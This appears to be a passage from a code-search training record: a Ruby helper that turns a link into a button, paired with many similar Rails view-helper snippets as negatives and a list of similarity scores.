[\"thousand\",\"million\",\"billion\",\"trillion\",\"quadrillion\",\"quintillion\",\"sextillion\",\"septillion\",\"octillion\",\"nonillion\",\"decillion\",\"undecillion\",\"duodecillion\",\"tredecillion\",\"quattuordecillion\",\"quindecillion\",\"sexdecillion\",\"septendecillion\",\"octodecillion\",\"novemdecillion\",\"vigintillion\",\"unvigintillion\",\"duovigintillion\",\"trevigintillion\",\"quattuorvigintillion\",\"quinvigintillion\",\"sexvigintillion\",\"septenvigintillion\",\"octovigintillion\",\"novemvigintillion\",\"trigintillion\",\"untrigintillion\",\"duotrigintillion\",\"tretrigintillion\",\"quattuortrigintillion\",\"quintrigintillion\",\"sextrigintillion\",\"septentrigintillion\",\"octotrigintillion\",\"novemtrigintillion\",\"quadragintillion\",\"unquadragintillion\",\"duoquadragintillion\",\"trequadragintillion\",\"quattuorquadragintillion\",\"quinquadragintillion\",\"sexquadragintillion\",\"septenquadragintillion\",\"octoquadragintillion\",\"novemquadragintillion\",\"quinquagintillion\",\"unquinquagintillion\",\"duoquinquagintillion\",\"trequinquagintillion\",\"quattuorquinquagintillion\",\"quinquinquagintillion\",\"sexquinquagintillion\",\"septenquinquagintillion\",\"octoquinquagintillion\",\"novemquinquagintillion\",\"sexagintillion\",\"unsexagintillion\",\"duosexagintillion\",\"tresexagintillion\",\"quattuorsexagintillion\",\"quinsexagintillion\",\"sexsexagintillion\",\"septensexagintillion\",\"octosexagintillion\",\"novemsexagintillion\",\"septuagintillion\",\"unseptuagintillion\",\"duoseptuagintillion\",\"treseptuagintillion\",\"quattuorseptuagintillion\",\"quinseptuagintillion\",\"sexseptuagintillion\",\"septenseptuagintillion\",\"octoseptuagintillion\",\"novemseptuagintillion\",\"octogintillion\",\"unoctogintillion\",\"duooctogintillion\",\"treoctogintillion\",\"quattuoroctogintillion\",\"quinoctogintillion\",\"sexoctogintillion\",\"septenoctogintillion\",\"octooctogintillion\",\"novemoctogintillion\",\"nonagintillion\",\"unnonagintillion\",\"duononagintillion\",\"trenonagintillion\",\"quattuornonagintillion\",\"quinnonagintillion\",\"sexnonagintillion\",\"septennonagintillion\",\"octononagintillion\",\"novemnonagintillion\",\"centillion\"]\n big_array.each_with_index do |array_words,index|\n million_billion << [1000 ** (index + 1),array_words]\n end\n\n #bignums\n million_billion.reverse_each do |array_number,array_words|\n currently_writing = remaining_number/array_number\n remaining_number -= currently_writing * array_number\n if currently_writing > 0\n number_string += englishNumber(currently_writing) + ' ' + array_words\n if remaining_number > 0\n number_string += ' '\n end\n end\n end\n #tens\n currently_writing = remaining_number/10\n remaining_number -= currently_writing*10\n if currently_writing > 0\n if ((currently_writing == 1) and (remaining_number > 0))\n number_string += teenagers [remaining_number-1]\n remaining_number = 0\n else\n number_string += tensPlace[currently_writing-1]\n end\n if remaining_number > 0\n number_string += '-'\n end\n end\n #ones\n number_string += onesPlace [remaining_number-1] if remaining_number > 0\n number_string\nend", "def stats\n {:money => @money , :life => @life, :fights => @fights, :respect => @respect, :state => @state.id, :substate => @state.state.id}\n end", "def stats\n @data.with { |c| c.stats }\n end", "def stats\n @data.info\n end" ]
[ "0.57957405", "0.56050897", "0.55351496", "0.5474018", "0.5409218", "0.5337078", "0.53312075", "0.5325674", "0.52963126", "0.5263669", "0.52484673", "0.5205255", "0.5205255", "0.5200835", "0.5190775", "0.5168851", "0.51649445", "0.5156452", "0.51553375", "0.51437587", "0.51363957", "0.5118993", "0.51111144", "0.5105817", "0.5105707", "0.50991815", "0.50907147", "0.50857383", "0.5080024", "0.50752187", "0.50697064", "0.5066518", "0.5065757", "0.5065757", "0.5056739", "0.50443286", "0.50350803", "0.50345206", "0.50319576", "0.50263363", "0.502599", "0.5021848", "0.50210875", "0.50187695", "0.5012373", "0.5011117", "0.5003537", "0.5001746", "0.49845096", "0.4983292", "0.4982236", "0.49781606", "0.49751964", "0.49729016", "0.4971452", "0.4968487", "0.49623212", "0.49605867", "0.4957876", "0.49537763", "0.4943393", "0.49363554", "0.49342856", "0.4927804", "0.49185538", "0.4913226", "0.49016336", "0.48822245", "0.48803446", "0.48799923", "0.48698175", "0.48686066", "0.4866389", "0.48605728", "0.4859123", "0.48590705", "0.48589158", "0.48561344", "0.48534632", "0.48529425", "0.48484424", "0.4844319", "0.48436153", "0.48429242", "0.48397845", "0.48397845", "0.48397845", "0.48397845", "0.48397845", "0.48397845", "0.48397845", "0.48397845", "0.48397845", "0.48397845", "0.48397845", "0.48397845", "0.48357472", "0.48284227", "0.4822876", "0.48228595" ]
0.6077536
0
HELPERS Like link_to, but makes a button. This much simpler version does not wrap it in a form, but instead uses the buttons.js.coffee file to add `` behavior to it.
def button_to(name, location, overrides={}) button name, overrides.reverse_merge(href: location) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def button_to( url, text = url, opts = {} )\n tag :button, text, opts.merge( url: url )\nend", "def bp_button(*args, &block)\n if block_given?\n options = args.first || {}\n html_options = args.second\n bp_button(capture(&block), options, html_options)\n else\n label = args.first\n href = args.second || '#'\n options = args.third || {}\n options_hash = options\n\n options_hash[:class] = options[:class].blank? ? 'btn' : bp_class(\"btn #{options[:class]}\")\n\n out = label\n out += '<i></i>'.html_safe\n\n content_tag :div, link_to(bp_html_print(out), href), options_hash\n end\n end", "def ui_button_link(content = nil, options = nil, html_options = nil, &block)\n UiBibz::Ui::Core::Forms::Buttons::ButtonLink.new(content, options, html_options, &block).render\n end", "def button(opts = {})\n opts[:class] << ' button' if opts[:class]\n opts[:class] ||= 'button'\n opts[:class] << ' alert' if opts[:action] == :destroy\n link(opts)\n end", "def button_link content = nil, options = nil, html_options = nil, &block\n UiBibz::Ui::ButtonLink.new(content, options, html_options, &block).render\n end", "def action_button(label, action, options = {})\n\t path = options.delete(:path) || 'javascript:void(0)'\n\t no_text = label.blank? ? 'no-text' : ''\n\t klass = \"action-button-link \"\n\t\tklass += options.delete(:class) if options[:class]\n\t link_to path, {:class => klass}.merge(options) do\n\t content_tag(:button, {:class => \"button button-gray #{no_text}\"}) do\n \t content_tag(:span, '', :class => action) + label\n \t end\n\t end\n\tend", "def pretty_button(content, path, options={})\n options[:class] = options[:class].nil? ? \"button\" : \"button \" << options[:class]\n link_to \"<span>#{content}</span>\".html_safe, path, options\n end", "def link_button_to(*args, &block)\n if block_given?\n options = args.first || {}\n html_options = args.second\n link_button_to(capture(&block), options, html_options)\n else\n name = args[0]\n options = args[1] || {}\n html_options = args[2]\n\n url = url_for(options)\n html_options = convert_options_to_data_attributes(options, html_options.merge({ 'data-url' => url }))\n\n content_tag(:button, ERB::Util.html_escape(name || url), html_options)\n end\n end", "def old_button_link_to( title, url, options={} )\n#\t\tid = \"id='#{options[:id]}'\" unless options[:id].blank?\n#\t\tklass = if options[:class].blank?\n#\t\t\t\"class='link'\"\n#\t\telse\n#\t\t\t\"class='#{options[:class]}'\"\n#\t\tend\n#\t\ts = \"<button #{id} #{klass} type='button'>\"\n\t\tclasses = ['link']\n\t\tclasses << options[:class]\n\t\ts = \"<button class='#{classes.flatten.join(' ')}' type='button'>\"\n\t\ts << \"<span class='href' style='display:none;'>\"\n\t\ts << url_for(url)\n\t\ts << \"</span>\"\n\t\ts << title\n\t\ts << \"</button>\"\n\t\ts\n\tend", "def real_button_to(name, options = {}, html_options = {})\n html_options = html_options.stringify_keys\n convert_boolean_attributes!(html_options, %w( disabled ))\n\n method_tag = ''\n if (method = html_options.delete('method')) && %w{put delete}.include?(method.to_s)\n method_tag = tag('input', :type => 'hidden', :name => '_method', :value => method.to_s)\n end\n\n form_method = method.to_s == 'get' ? 'get' : 'post'\n\n remote = html_options.delete('remote')\n\n request_token_tag = ''\n if form_method == 'post' && protect_against_forgery?\n request_token_tag = tag(:input, :type => \"hidden\", :name => request_forgery_protection_token.to_s, :value => form_authenticity_token)\n end\n\n url = options.is_a?(String) ? options : self.url_for(options)\n name ||= url\n\n html_options = convert_options_to_data_attributes(options, html_options)\n\n html_options.merge!(\"type\" => \"submit\")\n\n (\"<form method=\\\"#{form_method}\\\" action=\\\"#{html_escape(url)}\\\" #{\"data-remote=\\\"true\\\"\" if remote} class=\\\"button_to\\\"><div>\" +\n method_tag + content_tag(\"button\", name, html_options) + request_token_tag + \"</div></form>\").html_safe\n end", "def button_link(title, url, icon = nil, html_options = {}) # TODO: use this more\n html_options[:class] = '' unless html_options[:class]\n html_options[:class] += ' btn ' unless html_options[:class].include?('btn ')\n html_options[:class] += ' btn-default ' unless html_options[:class].include?('btn-')\n if icon\n link = link_to(url, html_options) do\n if icon.include?('psap-entity-icon')\n raw(icon.gsub('psap-entity-icon', '')) + ' ' + title\n elsif icon.include?('glyphicon')\n content_tag(:span, '', class: 'glyphicon ' + icon) + ' ' + title\n else\n content_tag(:i, '', class: 'fa ' + icon) + ' ' + title\n end\n end\n return raw(link)\n end\n raw(link_to(title, url, html_options))\n end", "def scaffold_button_to(text, url, options={})\n \"#{scaffold_form(url, options)}\\n<input type='submit' value='#{text}' />\\n</form>\"\n end", "def delete_button(object_or_url, contents=\"Delete\", attrs = {})\n url = object_or_url.is_a?(String) ? object_or_url : resource(object_or_url)\n button_text = (contents || 'Delete')\n tag :form, :class => 'delete-btn', :action => url, :method => :post do\n tag(:input, :type => :hidden, :name => \"_method\", :value => \"DELETE\") <<\n tag(:input, attrs.merge(:value => button_text, :type => :submit))\n end\n end", "def button(contents, attrs = {})\n current_form_context.button(contents, attrs)\n end", "def button_link_to( title, url, options={} )\n\t\tclasses = ['link']\n\t\tclasses << options[:class]\n\t\ts = \"<a href='#{url_for(url)}' style='text-decoration:none;'>\"\n\t\ts << \"<button type='button'>\"\n\t\ts << title\n\t\ts << \"</button></a>\\n\"\n\tend", "def html_button(*args, &block)\n label = args.first.presence\n symbols = only_symbols?(label)\n accessible_name?(*args) if Log.debug? && (symbols || label.blank?)\n args[0] = symbol_icon(label) if symbols\n html_tag(:button, *args, &block)\n end", "def show_button_to(path, text = t('show'))\n link_to path, class: 'button small' do\n concat text\n end\n end", "def link_btn(text, path, opts = {}, html_opts = {})\n if icon = opts.delete(:icon)\n text = content_tag(:span, \"\", :class => 'icon') << text\n end\n text = content_tag(:span, text)\n opts[:class] = [\n :minibutton, \n opts[:class].full? ? opts[:class] : icon.full?, \n icon.full? { |i| \"btn-#{i}\" }\n ].compact.join(' ')\n link_to text, path, opts, html_opts\n end", "def toolbar_button(options = {})\n options.symbolize_keys!\n defaults = {\n :overlay => true,\n :skip_permission_check => false,\n :active => false,\n :link_options => {},\n :overlay_options => {},\n :loading_indicator => true\n }\n options = defaults.merge(options)\n button = content_tag('div', :class => 'button_with_label' + (options[:active] ? ' active' : '')) do\n link = if options[:overlay]\n link_to_overlay_window(\n render_icon(options[:icon]),\n options[:url],\n options[:overlay_options],\n {\n :class => 'icon_button',\n :title => options[:title],\n 'data-alchemy-hotkey' => options[:hotkey]\n }.merge(options[:link_options])\n )\n else\n link_to options[:url], {:class => (\"icon_button#{options[:loading_indicator] ? ' please_wait' : nil}\"), :title => options[:title], 'data-alchemy-hotkey' => options[:hotkey]}.merge(options[:link_options]) do\n render_icon(options[:icon])\n end\n end\n link += content_tag('label', options[:label])\n end\n if options[:skip_permission_check]\n return button\n else\n if options[:if_permitted_to].blank?\n action_controller = options[:url].gsub(/^\\//, '').split('/')\n options[:if_permitted_to] = [action_controller.last.to_sym, action_controller[0..action_controller.length-2].join('_').to_sym]\n end\n if permitted_to?(*options[:if_permitted_to])\n return button\n else\n return \"\"\n end\n end\n end", "def bootstrap_button(text, *params)\n options = params.extract_options!.symbolize_keys\n if options.include?(:class)\n options[:class] << \" btn small\"\n end\n options[:class] ||= \"btn small\"\n options[:href] ||= \"#\"\n content_tag(:a, text, options)\n end", "def action_button_form options\n label = options[:label] ? options[:label] : \"Boton\"\n url = options[:url] ? options[:url] : \"#\"\n myclass = options[:class] ? \"btn-action #{options[:class]}\" : \"btn-action\"\n\n \"<li><div class='#{myclass}'>#{link_to(label, url)}</div></li>\".html_safe\n end", "def button_link_to(text, icon, url, options = {})\n options[:class] = \"btn #{options[:type] || 'btn-default'} #{options[:class]}\".strip\n icon_link_to(text, icon, url, options)\n end", "def manageable_button(body, url, html_options = {})\n html_options[:class] = [html_options[:class], \"button\"].compact.join(\" \")\n icon = manageable_icon(html_options.delete(:icon), :small, :alt => body) if html_options[:icon]\n\n link_to url, html_options do\n [icon, body].compact.join(\"&nbsp;\").html_safe\n end\n end", "def my_button_to(text, path, objs)\n\n s = \"<form method=\\\"get\\\" action=\\\"#{path}\\\" class=\\\"button_to\\\">\n <div><input type=\\\"submit\\\" value=\\\"#{text}\\\"/></div>\"\n for obj in objs\n if(!obj.nil?)\n s+= \"<input type=\\\"hidden\\\" name=\\\"#{obj.class.to_s.downcase}_id\\\" value=\\\"#{obj.id}\\\" />\"\n end\n end\n\n s+= \"</form>\"\n\n return s.html_safe\n end", "def button(value = nil, options = {})\n field = options[:name] || 'button'\n value = 'Button' if value.nil? || value == ''\n options[:value] ||= value\n single_tag(:input, set_options(:button, field, options))\n end", "def button_link(css: '.button', **opt)\n opt[:role] ||= 'button'\n link(css: css, **opt)\n end", "def scaffold_button_to_remote(text, action, options) \n \"#{scaffold_form_remote_tag(action, options)}\\n<input type='submit' value=#{text} />\\n</form>\"\n end", "def tbs_button_link(title, path, options = {})\n\t\tbtn_class = \"btn\"\n\t\tbtn_class += \" btn-#{options[:size]}\" unless options[:size].nil?\n\t\tbtn_class += \" btn-#{options[:style]}\" unless options[:style].nil?\n\t\toptions.delete(:size)\n\t\toptions.delete(:style)\n\n\t\ticon = options[:icon]\n\t\toptions.delete(:icon)\n\t\toptions.merge! class: btn_class\n\n\t\tif icon.nil?\n\t\t\tlink_to title, path, options\n\t\telse\n\t\t\tlink_to path, options do\n\t\t\t\tcontent_tag(:i, nil, class: \"icon-#{icon} icon-white\") + \" #{title}\"\n\t\t\tend\n\t\tend\n\tend", "def button(opts={})\n opts = {:value=>opts} if opts.is_a?(String)\n input = _input(:submit, opts)\n self << input\n input\n end", "def button(text, options = {}, &block)\n Button.new(text, {parent: self}.merge!(options), &block)\n end", "def button(button_text)\n element(damballa(button_text+\"_button\")) { |b| b.button(:value=>button_text) }\n action(damballa(button_text)) { |b| b.button(:value=>button_text).click }\n end", "def button_tag(value, options = {})\n tag 'input', {:type => 'button', :value => value}.merge(options)\n end", "def phx_button_for( model, captionSuffix, alternateCaptions, name, cssClass, disabled = false, remote = false, id = nil, overrideCaption = nil, tabindex = nil )\n\n buttonClass = \"btn btn-sm btn-default \" << cssClass\n if overrideCaption\n fullCaption = overrideCaption\n elsif !alternateCaptions.present?\n fullCaption = (model.object.persisted? ? \"Update \" : \"Create \") << captionSuffix\n else\n fullCaption = model.object.persisted? ? alternateCaptions[1] : alternateCaptions[0]\n end\n # let rails generate the html\n if tabindex\n button = capture do concat model.submit( fullCaption, name: name, class: buttonClass, disabled: disabled, remote: remote, id: id, tabindex: tabindex ) end\n else\n button = capture do concat model.submit( fullCaption, name: name, class: buttonClass, disabled: disabled, remote: remote, id: id ) end\n\n end\n\n button.html_safe\n\n end", "def submit_button_to(link, options = {}, properties = {})\n properties = { method: options[:method]&.to_sym || :post, rel: \"nofollow\" }.merge(properties)\n _link_to link, { icon: \"check-circle\", type: \"success\", text: \"Submit\", size: \"lg\" }.merge(options), properties\n end", "def btn_link_to(text, path, opts={})\n html_opts = opts\n html_classes = %w(btn)\n if klass = html_opts.delete(:class)\n html_classes << klass\n end\n html_opts[:class] = html_classes.join(\" \")\n if icon = html_opts.delete(:icon)\n text = \"<i class=\\\"icon-#{icon}\\\"></i> #{text}\"\n end\n link_to text.html_safe, path, html_opts\n end", "def button_tag(name, content, type, html_options = {})\n content_tag(:button, content, html_options.merge(:type => type, :name => name, :id => name))\n end", "def button_to_link(name, link, options={})\n\t confirm_option = options.delete(:confirm)\n\t popup_option = options.delete(:popup)\n\t link_function = popup_option ? redirect_function(link, :new_window => true) : redirect_function(link)\n\t link_function = \"if (confirm('#{escape_javascript(confirm_option)}')) { #{link_function}; }\" if confirm_option\n\t button_to_function name, link_function, options\n\tend", "def button(found, date_id, new_date)\n ret_btn = \"<a href='#{button_href(date_id)}' \"\n ret_btn += \"class='#{button_classes(found)}'>\"\n ret_btn += \"#{button_text(found, new_date)}</a>\"\n ret_btn\n end", "def button_to(name, options = {}, html_options = {}) \n\t\thtml_options = check_options(html_options)\n\t\thtml_options[:class] << 'button'\n\t\tsuper(name, options, html_options)\n\tend", "def get_delete_button(path)\n <<-HEREDOC\n<form class=\"inline delete\" method=\"post\" action=\"/polls/#{path}/delete\" >\n <button class=\"delete\" type=\"submit\">Delete</button>\n</form>\n HEREDOC\n end", "def command_btn(title:, key:, display:, help: nil, color: \"default\")\n button_tag(title,\n class: \"btn btn-#{color} btn-block\",\n title: help,\n id: \"#{key.to_s.downcase}_btn\",\n data: {\n toggle: \"cli\",\n target: cli_product_path(key, name: @product.name, type: @type),\n title: title,\n cmd: \"<code>#{display}</code>\"\n })\n end", "def emit_button_span(linktext, href, link_class=nil, options_hash={}, helper_template=nil)\n 2.times do nbsp end\n options_hash[:href] = href\n if link_class\n options_hash[:class] = link_class\n end\n if helper_template\n rawtext(helper_template.link_to(linktext,href,options_hash))\n else\n a options_hash do\n rawtext linktext\n end\n end\n 2.times do nbsp end\n end", "def add_button(path:, name: :ADD.t, **args, &block)\n content = block ? capture(&block) : \"\"\n html_options = {\n class: \"\", # usually also btn\n data: { toggle: \"tooltip\", placement: \"top\", title: name }\n }.merge(args)\n\n link_to(path, html_options) do\n [content, link_icon(:add)].safe_join\n end\n end", "def custom_form_button(label, options = {})\n options.reverse_merge!({:size => \"35\"})\n\n content_tag :button, :type => \"submit\", :class => \"custom-button-#{options[:size]}\" do\n content_tag(:span, :class => \"left\") do\n concat content_tag(:span, label, :class => \"normal\")\n concat content_tag(:span, label, :class => \"shadow\")\n end\n end\n end", "def submit_button_for(builder, value=nil, options={})\n value ||= builder.send(:submit_default_value)\n content_tag(:button, value, options.reverse_merge(:class => 'button big', :id => \"#{builder.object_name}_submit\"))\n end", "def submit_button_template(l = {})\n <<-END\n <div class=\"button\">#{l[:element]}</div>\n\t END\n end", "def button_go_to\n h.link_to \"Order ##{object.id}\", h.order_path(object), class: \"btn btn-xs #{btn_type}\", target: :_blank\n end", "def fb_create_button(name, url)\n\t\t\t \t\"<fb:create-button href=\\\"#{url_for(url)}\\\">#{name}</fb:create-button>\"\n\t\t\tend", "def fb_create_button(name, url)\n\t\t\t \t\"<fb:create-button href=\\\"#{url_for(url)}\\\">#{name}</fb:create-button>\"\n\t\t\tend", "def batch_op_link(options)\n button_to(options[:name], \"#\", \n :onclick => \"batch_submit({path: '#{options[:path]}', confirm: '#{options[:confirm]}'}); return false;\",\n :class => \"batch_op_link\")\n end", "def button(value = nil, options = {})\n\n value, options = nil, value if value.is_a?(Hash)\n value ||= submit_default_value\n\n value = [image_tag(icon, :class => 'icon'), value].join(' ') if icon = options.delete(:icon)\n klasses = (options.delete(:class) || \"\").split(\" \")\n klasses << \"button\"\n options['class'] = klasses.join(\" \")\n content_tag(:button, value.to_s.html_safe, options.reverse_merge!({ \"type\" => \"submit\", \"name\" => \"commit\" }))\n\n end", "def pretty_submit(content, options={}, &blk)\n default_form = \"document.getElementById(this.id).parentNode.parentNode\"\n options[:form] ||= default_form\n form = options[:form] == default_form ? default_form : \"document.getElementById('#{options[:form]}')\"\n \n options[:btn] ||= {}\n options[:btn][:id] ||= \"submit-#{rand(9999)}\"\n options[:btn][:class] = options[:btn][:class].nil? ? \"button\" : (\"button \" << options[:btn][:class])\n options[:btn][:onclick] = \"#{form}.submit();\"\n \n options[:div] ||= {}\n options[:div][:class] = options[:div][:class].nil? ? \"clear submit-line\" : (\"clear submit-line \" << options[:div][:class])\n \n options.delete :form\n btn = link_to(\"<span>#{content}</span>\".html_safe, '#', options[:btn])\n if block_given?\n concat content_tag(:div, \"#{btn}#{capture(&blk)}\", options[:div]), blk.binding\n\t else\n\t content_tag :div, btn, options[:div]\n end\n end", "def sexy_button(value=\"Submit\", options={})\n default_options = {\n :type => \"submit\",\n :value => value,\n :class => \"sexy-button\"\n }\n if options[:theme] or SexyButtons.default_theme != \"default\"\n theme = options[:theme] ? options.delete(:theme) : SexyButtons.default_theme\n default_options[:class] << \" sexy-button-#{theme}\"\n end\n if options[:class]\n options[:class] << \" #{default_options[:class]}\"\n end\n content_tag(:button, content_tag(:span, value), default_options.merge(options))\n end", "def modal_btn(name = nil, options = nil, html_options = nil, &block)\n if block_given?\n html_options, id = options, name\n else\n id = options\n end\n html_options ||= {}\n html_options[:class] = \"#{html_options[:class]} waves-effect waves-light btn btn-flat btn-cancel-form\"\n html_options[:style] = \"#{html_options[:style]} background-color: #fab033; color: #fff\"\n html_options[:href] = id\n\n content_tag(\"a\".freeze, name || id, html_options, &block)\n end", "def button_with_confirm(value = \"\", url = \"\", options = {}, html_options = {})\n options = {\n message: _t(:confirm_to_proceed),\n ok_label: _t(\"Yes\"),\n title: _t(:please_confirm),\n cancel_label: _t(\"No\")\n }.merge(options)\n form_tag url, {method: html_options.delete(:method)} do\n button_tag value, html_options.merge('data-alchemy-confirm' => options.to_json)\n end\n end", "def create_submit_button(args)\n\n\t\tform = args[\"form\"]\n\t\tdestination = args[\"destination\"]\n\t\ttext = args[\"text\"] || \"Submit\"\n\n\t\tform_ids = @@current_forms[form]\n\t\tsubmit_script = \"\"\n\t\tif form_ids\n\t\t\tsubmit_script = \"<script>function submit_form_#{form}() {var form_args = \"\n\t\t\tform_args = []\n\t\t\t@@current_forms[form].each do |id|\n\t\t\t\tform_args << \"'#{id}=' + encodeURIComponent(document.getElementById('#{id}').value)\"\n\t\t\tend\n\t\t\t@@current_forms.delete(form)\n\t\t\tsubmit_script += \"#{form_args.join(\" + '&' + \")};\"\n\t\t\tsubmit_script += \"location.href = '#{destination}?' + form_args;}</script>\"\n\t\tend\n\t\treturn \"#{submit_script}<button onclick='submit_form_#{form}();'>#{text}</button>\"\n\tend", "def workflow_action_link(title, link, opts={})\n link_to(title, link, {:class=>'btn btn-mini'}.merge(opts))\n end", "def submit_button(label = 'submit', options = {})\n @template.content_tag 'div',\n @template.submit_tag(label.to_s.humanize),\n :class => 'form_buttons'\n end", "def form_button_for(obj, name = nil)\n name ||= obj.object.new_record? ? 'Create' : 'Update'\n\n obj.button name, class: 'btn btn-theme', data: { disable_with: raw(\"<i class='fa fa-circle-o-notch fa-spin'></i> Saving...\") }\n end", "def buttons attrs = {}, &block\n Tagz.tag :div, { :class => 'form-buttons' }.merge(attrs), &block\n end", "def apphelp_complex_button( form, action_or_string, options = {} )\n\n # Process the various input arguments and options.\n\n if ( form.nil? )\n obj = self\n method = :submit_tag\n else\n obj = form\n method = :submit\n end\n\n if ( action_or_string.is_a?( Symbol ) )\n action_or_string = apphelp_action_name( action_or_string )\n end\n\n indent = options.delete( :indent )\n input_name = options.delete( :input_name ) || 'msie6_commit_changes'\n input_class = options.delete( :input_class ) || 'obvious'\n button_name = options.delete( :button_name ) || 'commit_changes'\n button_class = options.delete( :button_class ) || 'positive'\n button_image = options.delete( :button_image )\n confirm = options.delete( :confirm )\n\n if ( button_class.empty? )\n button_class = 'round'\n else\n button_class << ' round'\n end\n\n if ( button_image.nil? )\n button_html = ''\n else\n button_html = \" #{ image_tag( 'icons/' + button_image + '.png', :alt => '' ) }\\n\"\n end\n\n if ( confirm.nil? )\n confirm_data = nil\n confirm_html = ''\n else\n confirm = j( confirm ).gsub( \"\\n\", \"\\\\n\" );\n confirm_data = \"return confirm(&quot;#{ confirm }&quot;)\"\n confirm_html = \" onclick=\\\"#{ confirm_data }\\\";\"\n end\n\n # Create the HTML string.\n\n html = <<HTML\n<!--[if IE 6]>\n#{ obj.send( method, action_or_string, { :class => input_class, :name => input_name, :onclick => confirm_data } ) }\n<div style=\"display: none;\">\n<![endif]-->\n<button type=\"submit\" class=\"#{ button_class }\" id=\"#{ button_name }\" name=\"#{ button_name }\"#{ confirm_html }>\n#{ button_html } #{ action_or_string }\n</button>\n<!--[if IE 6]>\n</div>\n<![endif]-->\nHTML\n\n # Indent and return the data.\n\n html.gsub!( /^/, indent ) unless ( indent.nil? || indent.empty? ) # Not 'indent.blank?', as this would ignore all-white-space strings\n return html\n end", "def render_button\n NfgUi::Components::Elements::Button.new({ **integrated_slat_action_button_component_options, body: (block_given? ? yield : body) }, view_context).render\n end", "def rounded_button_function(name, function, html_options = {}, &block)\n (html_options[:class] ||= \"\") << \" button\"\n if icon = html_options.delete(:icon)\n link_to_function(content_tag(:span, name, :class => \"icon #{icon}\"), function, html_options, &block)\n else\n link_to_function(name, function, html_options, &block)\n end\n end", "def view_button(object, link = nil)\n link_to '<span class=\"glyphicon glyphicon-eye-open\"></span> View'.html_safe,\n link ? link : polymorphic_path(object),\n class: 'btn btn-default',\n title: \"View #{object_title(object)}\"\n end", "def linkwizard_confirm_button\n $tracer.trace(__method__)\n return ToolTag.new(button.id(\"/btnSubmit/\") ,__method__)\n end", "def icon_button text, path, icon, params={}\n button = button_tag params do\n icon_link text, icon\n end\n end", "def buttons(f, cf0925)\n # content_tag :div, class: 'form-inline' do\n [f.submit(\"Save\", class: \"btn btn-primary\"),\n f.button(\"Reset\", type: \"reset\", class: \"btn btn-primary\"),\n print_button(cf0925),\n home_button].join(\" \").html_safe\n # end\n end", "def designed_button_link(&block)\n content_tag :div, :class => \"op-control\" do \n content_tag :ul, :class => \"cf\" do\n content_tag :li do\n content_tag :button do\n yield\n end\n end\n end\n end \n end", "def edit_button_to(path, text = t('edit'))\n link_to path, class: 'button small warning' do\n concat text\n end\n end", "def back_to_article_index_button\n caption = <<-HTML\n <i class='icon-arrow-left'></i> #{t('cancel')}\n HTML\n button = link_to articles_path, class: \"btn\" do\n raw caption\n end\n button\n end", "def rounded_button_link(name, options = {}, html_options = {})\n (html_options[:class] ||= \"\") << \" button\"\n if icon = html_options.delete(:icon)\n link_to(content_tag(:span, name, :class => \"icon #{icon}\"), options, html_options)\n else\n link_to(name, options, html_options)\n end\n end", "def button_image\n raise 'Invalid option, only one of :confirm or :onclick allowed' if @options[:confirm] && @options[:onclick]\n\n if @options[:confirm]\n @options[:onclick] = \"return confirm('#{@options[:confirm]}');\" \n @options.delete(:confirm)\n end\n\n\n\n content_tag(\"button\",\n content_tag('span',@options[:content]),\n :type => 'submit',\n :onclick => @options[:onclick],\n :class => @options[:classes],\n :disabled => @options[:disabled],\n :style => @options[:styles],\n :value => @options[:value],\n :name => @options[:name] )\n end", "def render\n _button.btn.btn_primary request, onClick: self.click, disabled: @disabled\n end", "def back_to_article_button(article)\n caption = \"<i class='icon-arrow-left'></i> #{t('cancel')}\"\n button = link_to article_path(article), class: \"btn\" do\n raw caption\n end\n button\n end", "def new_button(label = nil, css: '.new-button', **opt)\n label ||= 'Start a new manifest' # TODO: I18n\n prepend_css!(opt, css)\n link_to_action(label, action: :new, link_opt: opt)\n end", "def link_to_submit(*args, &block)\n link_to (block_given? ? capture(&block) : args[0]), \"#\", args.extract_options!.merge(onclick: \"jQuery(this).closest('form').submit(); return false\")\nend", "def icon_button(icon: nil, text: nil, url: nil, **opt)\n icon ||= BLACK_STAR\n text ||= opt[:title] || 'Action' # TODO: I18n\n opt[:title] ||= text\n\n sr_only = html_span(text, class: 'text sr-only')\n symbol = html_span(icon, class: 'symbol', 'aria-hidden': true)\n label = sr_only << symbol\n\n if url\n # noinspection RubyMismatchedArgumentType\n make_link(label, url, **opt)\n else\n if opt[:tabindex].to_i == -1\n opt.except!(:tabindex, :role)\n else\n opt[:tabindex] ||= 0\n opt[:role] ||= 'button'\n end\n html_span(label, opt)\n end\n end", "def click_button(button)\n append_to_script \"click_button \\\"#{button}\\\"\"\n end", "def mini_button(action, object, options = {}, html_options = {})\n case action\n when :check_out\n path = new_loan_path(object)\n ability = options.delete(:ability) || :create\n html_options.reverse_merge!({\n :text => t(\"helpers.mini_buttons.check_out\").html_safe,\n :title => t(\"helpers.actions.check_out\"),\n :class => 'btn btn-mini',\n :method => :get,\n })\n # when :edit\n # path = [:edit, object]\n # ability = options.delete(:ability) || :update\n # html_options.reverse_merge!({\n # :text => t(\"helpers.mini_buttons.edit\").html_safe,\n # :title => t(\"helpers.actions.edit\"),\n # :class => 'btn btn-mini',\n # :method => :get,\n # })\n when :edit\n path = [:edit, object]\n ability = options.delete(:ability) || :update\n html_options.reverse_merge!({\n :text => t(\"helpers.mini_buttons.edit\").html_safe,\n :title => t(\"helpers.actions.edit\"),\n :class => 'btn btn-mini',\n :method => :get,\n })\n when :show\n path = object\n ability = options.delete(:ability) || :read\n html_options.reverse_merge!({\n :text => t(\"helpers.mini_buttons.show\").html_safe,\n :title => t(\"helpers.actions.show\"),\n :class => 'btn btn-mini',\n :method => :get\n })\n else\n raise \"unknown action\"\n end\n\n # defaults for all buttons\n html_options.reverse_merge!({\n :rel => \"tooltip\",\n 'data-delay' => 500\n })\n\n # authorize the action\n unless can?(ability, object)\n html_options.merge!(\"disabled\" => \"disabled\")\n end\n\n text = html_options.delete(:text)\n #button_to(text, path, options)\n my_button_to(path, html_options) do\n text\n end\n end", "def submit_and_back_buttons(back_route, options = {})\n label_name = options[:label_name] unless options[:label_name].nil? || options[:label_name].blank?\n content_tag(:div, :class => 'control-group') do\n content_tag(:div,\n tag(:input, :type => 'submit', :class => 'btn', :value => label_name) +\n link_to(\"<i class=\\\"icon-white icon-arrow-left\\\"></i> Voltar\".html_safe, back_route, :class => 'btn btn-inverse',:title => 'voltar'),\n :class => 'controls btn-group')\n end\n end", "def action(method, options = {}) # -> Formtastic::Helpers::ActionHelper\n case method\n when :button, :reset\n button :button, options[:label], type: method\n when 